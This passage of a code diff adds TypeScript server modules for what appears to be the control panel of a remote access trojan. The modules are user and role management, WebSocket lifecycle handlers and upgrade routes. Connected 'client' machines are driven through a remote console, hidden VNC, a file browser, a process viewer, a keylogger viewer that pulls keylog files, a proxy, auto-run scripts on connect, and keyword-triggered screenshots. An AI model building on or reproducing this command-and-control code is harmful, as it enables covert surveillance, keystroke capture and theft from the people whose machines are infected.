||||
const rootWithSep = assetsRoot.endsWith(path.sep) ? assetsRoot : `${assetsRoot}${path.sep}`;
|
||||
|
||||
if (!resolvedPath.startsWith(rootWithSep)) {
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
const file = Bun.file(resolvedPath);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType(assetPath)) });
|
||||
}
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,207 @@
|
||||
import { generateToken, authenticateRequest } from "../../auth";
|
||||
import { AuditAction, logAudit } from "../../auditLog";
|
||||
import { logger } from "../../logger";
|
||||
import { requirePermission } from "../../rbac";
|
||||
import {
|
||||
createUser,
|
||||
deleteUser,
|
||||
getUserById,
|
||||
listUsers,
|
||||
updateUserPassword,
|
||||
updateUserRole,
|
||||
} from "../../users";
|
||||
|
||||
type RequestIpProvider = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
};
|
||||
|
||||
export async function handleUsersRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
server: RequestIpProvider,
|
||||
): Promise<Response | null> {
|
||||
if (!url.pathname.startsWith("/api/users")) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
const user = await authenticateRequest(req);
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/users") {
|
||||
requirePermission(user, "users:manage");
|
||||
const users = listUsers();
|
||||
return Response.json({ users });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/users") {
|
||||
const authedUser = requirePermission(user, "users:manage");
|
||||
const body = await req.json();
|
||||
const { username, password, role } = body;
|
||||
|
||||
if (!username || !password || !role) {
|
||||
return Response.json({ error: "Missing required fields" }, { status: 400 });
|
||||
}
|
||||
|
||||
if (!["admin", "operator", "viewer"].includes(role)) {
|
||||
return Response.json({ error: "Invalid role" }, { status: 400 });
|
||||
}
|
||||
|
||||
const result = await createUser(username, password, role, authedUser.username);
|
||||
|
||||
if (result.success) {
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: authedUser.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
details: `Created user: ${username} (${role})`,
|
||||
success: true,
|
||||
});
|
||||
|
||||
return Response.json({ success: true, userId: result.userId });
|
||||
}
|
||||
return Response.json({ error: result.error }, { status: 400 });
|
||||
}
|
||||
|
||||
if (req.method === "PUT" && url.pathname.match(/^\/api\/users\/\d+\/password$/)) {
|
||||
const userId = parseInt(url.pathname.split("/")[3]);
|
||||
const body = await req.json();
|
||||
const { password, newPassword, currentPassword } = body;
|
||||
|
||||
const canChange = user.userId === userId || user.role === "admin";
|
||||
|
||||
if (!canChange) {
|
||||
return Response.json({ error: "Permission denied" }, { status: 403 });
|
||||
}
|
||||
|
||||
if (user.userId === userId && currentPassword) {
|
||||
const targetUser = getUserById(userId);
|
||||
if (!targetUser) {
|
||||
return Response.json({ error: "User not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
const isValid = await Bun.password.verify(
|
||||
currentPassword,
|
||||
targetUser.password_hash,
|
||||
);
|
||||
if (!isValid) {
|
||||
return Response.json(
|
||||
{ error: "Current password is incorrect" },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
const finalPassword = newPassword || password;
|
||||
if (!finalPassword) {
|
||||
return Response.json({ error: "Password required" }, { status: 400 });
|
||||
}
|
||||
|
||||
const result = await updateUserPassword(userId, finalPassword);
|
||||
|
||||
if (result.success) {
|
||||
const targetUser = getUserById(userId);
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
details: `Updated password for user: ${targetUser?.username}`,
|
||||
success: true,
|
||||
});
|
||||
|
||||
if (user.userId === userId && targetUser) {
|
||||
const newToken = await generateToken(targetUser);
|
||||
return new Response(
|
||||
JSON.stringify({
|
||||
success: true,
|
||||
token: newToken,
|
||||
}),
|
||||
{
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
"Set-Cookie": `overlord_token=${newToken}; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=604800`,
|
||||
},
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
return Response.json({ success: true });
|
||||
}
|
||||
return Response.json({ error: result.error }, { status: 400 });
|
||||
}
|
||||
|
||||
if (req.method === "PUT" && url.pathname.match(/^\/api\/users\/\d+\/role$/)) {
|
||||
const authedUser = requirePermission(user, "users:manage");
|
||||
const userId = parseInt(url.pathname.split("/")[3]);
|
||||
const body = await req.json();
|
||||
const { role } = body;
|
||||
|
||||
if (!role || !["admin", "operator", "viewer"].includes(role)) {
|
||||
return Response.json({ error: "Invalid role" }, { status: 400 });
|
||||
}
|
||||
|
||||
if (userId === authedUser.userId) {
|
||||
return Response.json({ error: "Cannot change your own role" }, { status: 400 });
|
||||
}
|
||||
|
||||
const result = updateUserRole(userId, role);
|
||||
|
||||
if (result.success) {
|
||||
const targetUser = getUserById(userId);
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: authedUser.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
details: `Updated role for user: ${targetUser?.username} to ${role}`,
|
||||
success: true,
|
||||
});
|
||||
|
||||
return Response.json({ success: true });
|
||||
}
|
||||
return Response.json({ error: result.error }, { status: 400 });
|
||||
}
|
||||
|
||||
if (req.method === "DELETE" && url.pathname.match(/^\/api\/users\/\d+$/)) {
|
||||
const authedUser = requirePermission(user, "users:manage");
|
||||
const userId = parseInt(url.pathname.split("/")[3]);
|
||||
|
||||
if (userId === authedUser.userId) {
|
||||
return Response.json(
|
||||
{ error: "Cannot delete your own account" },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
|
||||
const targetUser = getUserById(userId);
|
||||
const result = deleteUser(userId);
|
||||
|
||||
if (result.success) {
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: authedUser.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
details: `Deleted user: ${targetUser?.username}`,
|
||||
success: true,
|
||||
});
|
||||
|
||||
return Response.json({ success: true });
|
||||
}
|
||||
return Response.json({ error: result.error }, { status: 400 });
|
||||
}
|
||||
|
||||
return new Response("Not found", { status: 404 });
|
||||
} catch (error) {
|
||||
if (error instanceof Response) {
|
||||
return error;
|
||||
}
|
||||
logger.error("[users] API error:", error);
|
||||
return Response.json({ error: "Internal server error" }, { status: 500 });
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,385 @@
|
||||
import type { ServerWebSocket } from "bun";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { logAudit, AuditAction } from "../../auditLog";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import { clientExists, setOnlineState, upsertClientRow } from "../../db";
|
||||
import { logger } from "../../logger";
|
||||
import { metrics } from "../../metrics";
|
||||
import { decodeMessage, encodeMessage, type WireMessage } from "../../protocol";
|
||||
import * as sessionManager from "../../sessions/sessionManager";
|
||||
import type { SocketData } from "../../sessions/types";
|
||||
import type { ClientInfo } from "../../types";
|
||||
import { handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
|
||||
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
|
||||
|
||||
type PendingScript = {
|
||||
timeout: ReturnType<typeof setTimeout>;
|
||||
resolve: (value: { ok?: boolean; result?: string; error?: string }) => void;
|
||||
};
|
||||
|
||||
type WsLifecycleDeps = {
|
||||
maxClientPayloadBytes: number;
|
||||
maxViewerPayloadBytes: number;
|
||||
pendingScripts: Map<string, PendingScript>;
|
||||
rdStreamingState: Map<string, unknown>;
|
||||
hvncStreamingState: Map<string, unknown>;
|
||||
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number };
|
||||
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleHVNCViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleFileBrowserViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleKeyloggerViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleProxyViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleRemoteDesktopViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleHVNCViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleFileBrowserViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleProxyViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
|
||||
takePendingNotificationScreenshot: (clientId: string) => any;
|
||||
storeNotificationScreenshot: (
|
||||
pending: any,
|
||||
bytes: Uint8Array,
|
||||
format: string,
|
||||
width?: number,
|
||||
height?: number,
|
||||
) => void;
|
||||
handleNotificationScreenshotResult: (clientId: string, payload: any) => void;
|
||||
handleConsoleOutput: (payload: any) => void;
|
||||
handleFileBrowserMessage: (clientId: string, payload: any) => void;
|
||||
handleProxyMessage: (clientId: string, payload: any) => void;
|
||||
handleProcessMessage: (clientId: string, payload: any) => void;
|
||||
handleKeyloggerMessage: (clientId: string, payload: any) => void;
|
||||
notifyRdInputLatency: (commandId: string) => void;
|
||||
handleNotificationScreenshotFailure: (commandId: string | undefined, ok: boolean | undefined, message: string | undefined) => void;
|
||||
handlePluginEvent: (clientId: string, payload: any) => void;
|
||||
handleNotification: (clientId: string, payload: any) => void;
|
||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||
sendHVNCCommand: (target: ClientInfo, commandType: string, payload: Record<string, unknown>) => void;
|
||||
notifyConsoleClosed: (clientId: string, reason: string) => void;
|
||||
clearPendingNotificationScreenshots: (clientId: string) => void;
|
||||
notifyRemoteDesktopStatus: (clientId: string, status: string, reason?: string) => void;
|
||||
};
|
||||
|
||||
export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLifecycleDeps): void {
|
||||
const role = ws.data.role as string;
|
||||
const clientId = ws.data.clientId;
|
||||
const ip = ws.data.ip;
|
||||
if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws);
|
||||
if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws);
|
||||
if (role === "hvnc_viewer") return deps.handleHVNCViewerOpen(ws);
|
||||
if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws);
|
||||
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
|
||||
if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws);
|
||||
if (role === "proxy_viewer") return deps.handleProxyViewerOpen(ws);
|
||||
if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws);
|
||||
|
||||
const id = clientId || uuidv4();
|
||||
const info: ClientInfo = { id, role: role as any, ws, lastSeen: Date.now(), country: "", ip, online: true };
|
||||
clientManager.addClient(id, info);
|
||||
|
||||
ws.data.clientId = id;
|
||||
ws.data.ip = ip;
|
||||
if (role === "client") {
|
||||
ws.data.wasKnown = clientExists(id);
|
||||
}
|
||||
|
||||
upsertClientRow({ id, role: role as any, ip, lastSeen: info.lastSeen, online: 1 as any });
|
||||
logger.info(`[open] ${id} role=${role}`);
|
||||
|
||||
const notificationConfig = deps.getNotificationConfig();
|
||||
ws.send(
|
||||
encodeMessage({
|
||||
type: "hello_ack",
|
||||
id,
|
||||
notification: {
|
||||
keywords: notificationConfig.keywords || [],
|
||||
minIntervalMs: notificationConfig.minIntervalMs || 8000,
|
||||
},
|
||||
}),
|
||||
);
|
||||
|
||||
if (role === "client") {
|
||||
deps.notifyRemoteDesktopStatus(id, "online");
|
||||
metrics.recordConnection();
|
||||
}
|
||||
}
|
||||
|
||||
export function handleWebSocketMessage(
|
||||
ws: ServerWebSocket<SocketData>,
|
||||
message: string | ArrayBuffer | Uint8Array,
|
||||
deps: WsLifecycleDeps,
|
||||
): void {
|
||||
const size = getMessageByteLength(message as any);
|
||||
const role = ws.data?.role as any;
|
||||
const limit = getMaxPayloadLimit(role, deps.maxClientPayloadBytes, deps.maxViewerPayloadBytes);
|
||||
if (size > limit) {
|
||||
logger.warn(`[ws] closing socket due to oversized message (${size} > ${limit}) role=${role || "unknown"}`);
|
||||
try {
|
||||
ws.close(1009, "Message too large");
|
||||
} catch {}
|
||||
return;
|
||||
}
|
||||
|
||||
const socketRole = ws.data.role as string;
|
||||
if (socketRole === "console_viewer") return deps.handleConsoleViewerMessage(ws, message);
|
||||
if (socketRole === "rd_viewer") return deps.handleRemoteDesktopViewerMessage(ws, message);
|
||||
if (socketRole === "hvnc_viewer") return deps.handleHVNCViewerMessage(ws, message);
|
||||
if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message);
|
||||
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
|
||||
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
|
||||
if (socketRole === "proxy_viewer") return deps.handleProxyViewerMessage(ws, message);
|
||||
if (socketRole === "notifications_viewer") return;
|
||||
|
||||
const { clientId, ip } = ws.data;
|
||||
const info = clientManager.getClient(clientId);
|
||||
if (!info) return;
|
||||
info.lastSeen = Date.now();
|
||||
|
||||
try {
|
||||
const payload = decodeMessage(message as Uint8Array) as WireMessage;
|
||||
if (!payload || typeof (payload as any).type !== "string") {
|
||||
return;
|
||||
}
|
||||
if (!isAllowedClientMessageType((payload as any).type)) {
|
||||
logger.warn(`[message] Dropping unknown client message type: ${(payload as any).type}`);
|
||||
return;
|
||||
}
|
||||
|
||||
const payloadType = (payload as any)?.type as string;
|
||||
switch (payloadType) {
|
||||
case "hello": {
|
||||
handleHello(info, payload, ws, ip);
|
||||
clientManager.addClient(info.id, info);
|
||||
deps.dispatchAutoScriptsForConnection(info, ws);
|
||||
if (info.role === "client") {
|
||||
const wasKnown = Boolean((ws as any)?.data?.wasKnown);
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: "system",
|
||||
ip: (ws as any)?.data?.ip || ip || "unknown",
|
||||
action: wasKnown ? AuditAction.CLIENT_RECONNECT : AuditAction.CLIENT_FIRST_CONNECT,
|
||||
targetClientId: info.id,
|
||||
success: true,
|
||||
details: JSON.stringify({ host: info.host, os: info.os, user: info.user }),
|
||||
});
|
||||
(ws as any).data.wasKnown = true;
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "ping":
|
||||
handlePing(info, payload, ws);
|
||||
break;
|
||||
case "pong":
|
||||
handlePong(info, payload);
|
||||
break;
|
||||
case "frame":
|
||||
if ((payload as any)?.header?.fps === 0) {
|
||||
const pending = deps.takePendingNotificationScreenshot(info.id);
|
||||
if (pending) {
|
||||
let bytes: Uint8Array | null = null;
|
||||
if ((payload as any).data instanceof Uint8Array) {
|
||||
bytes = (payload as any).data;
|
||||
} else if ((payload as any).data instanceof ArrayBuffer) {
|
||||
bytes = new Uint8Array((payload as any).data);
|
||||
} else if (ArrayBuffer.isView((payload as any).data)) {
|
||||
bytes = new Uint8Array((payload as any).data.buffer);
|
||||
}
|
||||
|
||||
const format = String((payload as any)?.header?.format || "jpeg");
|
||||
const width = Number((payload as any)?.header?.width) || undefined;
|
||||
const height = Number((payload as any)?.header?.height) || undefined;
|
||||
if (bytes) {
|
||||
deps.storeNotificationScreenshot(pending, bytes, format, width, height);
|
||||
}
|
||||
}
|
||||
}
|
||||
handleFrame(info, payload);
|
||||
break;
|
||||
case "screenshot_result":
|
||||
deps.handleNotificationScreenshotResult(info.id, payload);
|
||||
break;
|
||||
case "console_output":
|
||||
deps.handleConsoleOutput(payload);
|
||||
break;
|
||||
case "file_list_result":
|
||||
case "file_download":
|
||||
case "file_upload_result":
|
||||
case "file_read_result":
|
||||
case "file_search_result":
|
||||
case "command_result":
|
||||
if (typeof (payload as any).commandId === "string") {
|
||||
deps.notifyRdInputLatency((payload as any).commandId);
|
||||
}
|
||||
deps.handleNotificationScreenshotFailure(
|
||||
(payload as any).commandId,
|
||||
(payload as any).ok,
|
||||
(payload as any).message,
|
||||
);
|
||||
deps.handleFileBrowserMessage(info.id, payload);
|
||||
deps.handleProxyMessage(info.id, payload);
|
||||
break;
|
||||
case "command_progress":
|
||||
deps.handleFileBrowserMessage(info.id, payload);
|
||||
break;
|
||||
case "process_list_result":
|
||||
deps.handleProcessMessage(info.id, payload);
|
||||
break;
|
||||
case "keylog_file_list":
|
||||
case "keylog_file_content":
|
||||
case "keylog_clear_result":
|
||||
case "keylog_delete_result":
|
||||
deps.handleKeyloggerMessage(info.id, payload);
|
||||
break;
|
||||
case "script_result": {
|
||||
logger.debug(
|
||||
`[script] client=${info.id} ok=${(payload as any).ok} output_length=${(payload as any).output?.length || 0}`,
|
||||
);
|
||||
const cmdId = (payload as any).commandId;
|
||||
if (cmdId && deps.pendingScripts.has(cmdId)) {
|
||||
const pending = deps.pendingScripts.get(cmdId)!;
|
||||
clearTimeout(pending.timeout);
|
||||
pending.resolve({
|
||||
ok: (payload as any).ok,
|
||||
result: (payload as any).output || "",
|
||||
error: (payload as any).error,
|
||||
});
|
||||
deps.pendingScripts.delete(cmdId);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "plugin_event":
|
||||
deps.handlePluginEvent(info.id, payload);
|
||||
break;
|
||||
case "notification":
|
||||
deps.handleNotification(info.id, payload);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
} catch (err) {
|
||||
logger.error("[message] decode error", err);
|
||||
}
|
||||
}
|
||||
|
||||
export function handleWebSocketClose(
|
||||
ws: ServerWebSocket<SocketData>,
|
||||
code: number,
|
||||
reason: unknown,
|
||||
deps: WsLifecycleDeps,
|
||||
): void {
|
||||
const clientId = ws.data.clientId;
|
||||
const role = ws.data.role as string;
|
||||
const sessionId = ws.data.sessionId;
|
||||
|
||||
if (role === "console_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.deleteConsoleSession(sessionId);
|
||||
const target = clientManager.getClient(clientId);
|
||||
deps.stopConsoleOnTarget(target, sessionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "rd_viewer") {
|
||||
let removedClientId = clientId;
|
||||
for (const [sid, sess] of sessionManager.getAllRdSessions().entries()) {
|
||||
if (sess.viewer === ws) {
|
||||
removedClientId = sess.clientId;
|
||||
sessionManager.getAllRdSessions().delete(sid);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
const stillViewing = Array.from(sessionManager.getAllRdSessions().values()).some((s) => s.clientId === removedClientId);
|
||||
if (!stillViewing) {
|
||||
const target = clientManager.getClient(removedClientId);
|
||||
deps.sendDesktopCommand(target, "desktop_stop", {});
|
||||
deps.rdStreamingState.delete(removedClientId);
|
||||
logger.debug(`[rd] cleaned up state for client ${removedClientId}`);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "hvnc_viewer") {
|
||||
let removedClientId = clientId;
|
||||
for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) {
|
||||
if (sess.viewer === ws) {
|
||||
removedClientId = sess.clientId;
|
||||
sessionManager.getAllHvncSessions().delete(sid);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
const stillViewing = Array.from(sessionManager.getAllHvncSessions().values()).some((s) => s.clientId === removedClientId);
|
||||
if (!stillViewing) {
|
||||
const target = clientManager.getClient(removedClientId);
|
||||
if (target) {
|
||||
deps.sendHVNCCommand(target, "hvnc_stop", {});
|
||||
}
|
||||
deps.hvncStreamingState.delete(removedClientId);
|
||||
logger.debug(`[hvnc] cleaned up state for client ${removedClientId}`);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "file_browser_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.getAllFileBrowserSessions().delete(sessionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "process_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.getAllProcessSessions().delete(sessionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "keylogger_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.deleteKeyloggerSession(sessionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "proxy_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.deleteProxySession(sessionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "notifications_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.deleteNotificationSession(sessionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
clientManager.deleteClient(clientId);
|
||||
deps.notifyConsoleClosed(clientId, "Client disconnected");
|
||||
setOnlineState(clientId, false);
|
||||
deps.clearPendingNotificationScreenshots(clientId);
|
||||
logger.info(`[close] ${clientId} code=${code} reason=${reason}`);
|
||||
|
||||
if (role === "client") {
|
||||
deps.notifyRemoteDesktopStatus(clientId, "offline", "Client disconnected");
|
||||
metrics.recordDisconnection();
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: "system",
|
||||
ip: ws.data?.ip || "unknown",
|
||||
action: AuditAction.CLIENT_DISCONNECT,
|
||||
targetClientId: clientId,
|
||||
success: true,
|
||||
details: JSON.stringify({ code, reason: String(reason || "") }),
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,179 @@
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { logger } from "../../logger";
|
||||
import { isIpBanned } from "../../db";
|
||||
|
||||
type RequestServer = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
upgrade: (req: Request, data: any) => boolean;
|
||||
};
|
||||
|
||||
type WsUpgradeDeps = {
|
||||
isAuthorizedAgentRequest: (req: Request, url: URL) => boolean;
|
||||
};
|
||||
|
||||
export async function handleWsUpgradeRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
server: RequestServer,
|
||||
deps: WsUpgradeDeps,
|
||||
): Promise<Response | null> {
|
||||
const consoleWsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/console\/ws$/);
|
||||
if (consoleWsMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const clientId = consoleWsMatch[1];
|
||||
const sessionId = crypto.randomUUID();
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "console_viewer", clientId, sessionId, ip, userRole: user.role } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const wsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/stream\/ws$/);
|
||||
if (wsMatch) {
|
||||
logger.info(`[auth] Checking agent authorization for client connection`);
|
||||
if (!deps.isAuthorizedAgentRequest(req, url)) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
const clientId = wsMatch[1];
|
||||
const role = (url.searchParams.get("role") as any) || "viewer";
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (ip && isIpBanned(ip)) {
|
||||
logger.warn(`[auth] Rejected banned IP ${ip} for client ${clientId}`);
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
if (server.upgrade(req, { data: { role, clientId, ip } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const rdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/rd\/ws$/);
|
||||
if (rdMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const clientId = rdMatch[1];
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "rd_viewer", clientId, ip, userRole: user.role } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const hvncMatch = url.pathname.match(/^\/api\/clients\/(.+)\/hvnc\/ws$/);
|
||||
if (hvncMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const clientId = hvncMatch[1];
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "hvnc_viewer", clientId, ip, userRole: user.role } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const fbMatch = url.pathname.match(/^\/api\/clients\/(.+)\/files\/ws$/);
|
||||
if (fbMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const clientId = fbMatch[1];
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "file_browser_viewer", clientId, ip, userRole: user.role } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const processMatch = url.pathname.match(/^\/api\/clients\/(.+)\/processes\/ws$/);
|
||||
if (processMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const clientId = processMatch[1];
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "process_viewer", clientId, ip, userRole: user.role } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const keyloggerMatch = url.pathname.match(/^\/api\/clients\/(.+)\/keylogger\/ws$/);
|
||||
if (keyloggerMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const clientId = keyloggerMatch[1];
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "keylogger_viewer", clientId, ip, userRole: user.role } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const proxyMatch = url.pathname.match(/^\/api\/clients\/(.+)\/proxy\/ws$/);
|
||||
if (proxyMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const clientId = proxyMatch[1];
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "proxy_viewer", clientId, ip, userRole: user.role } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/notifications/ws") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "notifications_viewer", clientId: "", ip, userRole: user.role } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
Reference in New Issue
Block a user